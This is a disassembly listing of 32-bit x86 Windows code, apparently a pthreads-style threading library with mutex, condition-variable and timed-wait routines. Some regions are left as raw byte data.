=============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0AFE82046h, 90023209h, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0AFE89050h dd 50023507h, 9050D3FFh, 32FD33E8h, 5BC08502h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 330328E8h dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3F8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3F8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 27508C9h test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E900 nop call near ptr 7C901005h mov esi, dword_44574C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E900 mov dword_44574C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E900 xor esi, esi call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E900 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44574C push offset dword_50E900 mov [edx+8], eax mov dword_44574C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2750758h mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax nop call near ptr 277051Fh test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E960 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 27806E9h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2780000h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E960 mov esi, 10h call near ptr 7C9010EDh nop loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi nop call near ptr 2760595h test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FB75E890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 277044Ch test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 2760595h nop test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 33FA3EE8h dd 7E839002h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 call near ptr 77C1F2BCh nop mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 call near ptr 27706C3h nop push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j nop call near ptr 27706C3h test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi call near ptr 27706C3h nop mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 277044Ch test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi call near ptr 27706C3h nop test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 call near ptr 77C1F2BCh nop mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0B8E89056h, 0E80241F1h, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx call near ptr 277044Ch nop test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 2850303h loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; 